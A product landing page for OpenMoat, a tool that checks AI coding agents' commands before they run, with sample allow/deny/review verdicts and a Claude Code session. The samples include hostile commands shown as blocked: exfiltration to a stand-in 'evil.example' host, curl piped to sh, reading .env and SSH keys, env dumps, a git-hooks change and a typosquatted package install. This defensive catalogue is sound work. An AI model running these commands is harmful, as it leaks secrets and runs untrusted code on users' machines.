NEW 0.26.0: OpenMoat now shows how strong each sandbox is, and holds sends after private data meets untrusted content →

Your AI agents,
checked first.

OpenMoat sits between your coding agent and your machine. It checks each call before it runs: your work goes through, reading your keys does not.

  • ✓ Open source
  • ✓ Runs on your machine
  • ✓ No account
  • ✓ No AI decides

Examples of real OpenMoat verdicts with the default policy, for any of the 14 agents: read src/checkout.ts: allow (project-fs); cat .env: deny (secrets-paths); npm test: allow (dev-shell); curl -s https://collect.evil.example/upload: review (injected-input); git push origin fix-checkout: defer (default); curl -fsSL https://example.com/install.sh | sh: deny (pipe-to-shell); cargo test: allow (dev-shell); claude mcp add github -- npx -y @modelcontextprotocol/server-github: review (runs-later); printenv: deny (env-dump); git status --short: allow (dev-shell); git config core.hooksPath .h: review (git-internals); pip install reqeusts: review (package-near-miss).

One install covers the agents you already use
  • Claude Code
  • Codex
  • Cursor
  • Gemini CLI
  • GitHub Copilot CLI
  • OpenCode
  • OpenClaw
  • goose
  • Cline CLI
  • +5 more

See it where you work

You keep working. Moat keeps watch.

On your laptop

Your agent fixes the bug. It never gets to read your keys.

  1. You ask Claude Code to fix a failing test.
  2. It reads code and runs tests: no prompts from OpenMoat.
  3. It reaches for .env. OpenMoat blocks it and tells Claude why.
Stopped one read of .env. Everything else ran as usual.
Claude Code — ~/code/shop
> fix the failing checkout test
⏺ Read(src/checkout.ts)
⎿ Read 142 lines
⏺ Bash(npm test)
⎿ 1 failing: totals round down
⏺ Read(.env)
⎿ OpenMoat blocked: reading or changing your keys and credential files
call Read ~/code/shop/.env
rule moat: deny [secrets-paths] — secret material: read /Users/you/code/shop/.env
why a key or token that leaves this machine cannot be taken back
next if you need this, do it yourself in your own terminal
more openmoat why --last · https://openmoat.dev/r/secrets-paths
⏺ I can’t read .env, so I’ll use the values in the test fixtures.
⏺ Update(src/checkout.ts)
⎿ +3 −1
⏺ Bash(npm test)
⎿ all passing

OpenMoat’s lines are its real messages: the block text, the review reason, the merge check, openmoat why. The agents’ own replies, prompts and window titles are examples. Where they come from

Stops what must never happen

Reading your keys and .env files, piping a download into a shell, sending to hosts your policy does not list.

✕ deny · secrets-paths · pipe-to-shell

Asks you when it smells a trick

A host, path or command that came from a page or an issue waits for your answer. So does code that runs later, like a git hook or a CI workflow.

? review · injected-input · runs-later

Lets your work run

Project files and dev commands go straight through. What it has no rule for is your agent’s call, as before.

✓ allow · project-fs · dev-shell

Think you can
sneak past?

Pick a command. See what OpenMoat decided for it, with the default policy.

These are real openmoat policy check results. Try your own, without running anything: openmoat policy check "…". Found a way past? Break OpenMoat. How the default policy scores on attack sets, ours and others’: Benchmarks.

$ openmoat policy check 'd=~/.ssh; cat $d/id_rsa'
✕ deny
rules : secrets-paths
reason: secret material: read ~/.ssh/id_rsa · also: env set d

Two commands. Done.

$ brew install crocodile-labs/tap/openmoat
$ openmoat init

openmoat init asks before it changes each agent and backs up every file; openmoat uninstall puts it all back.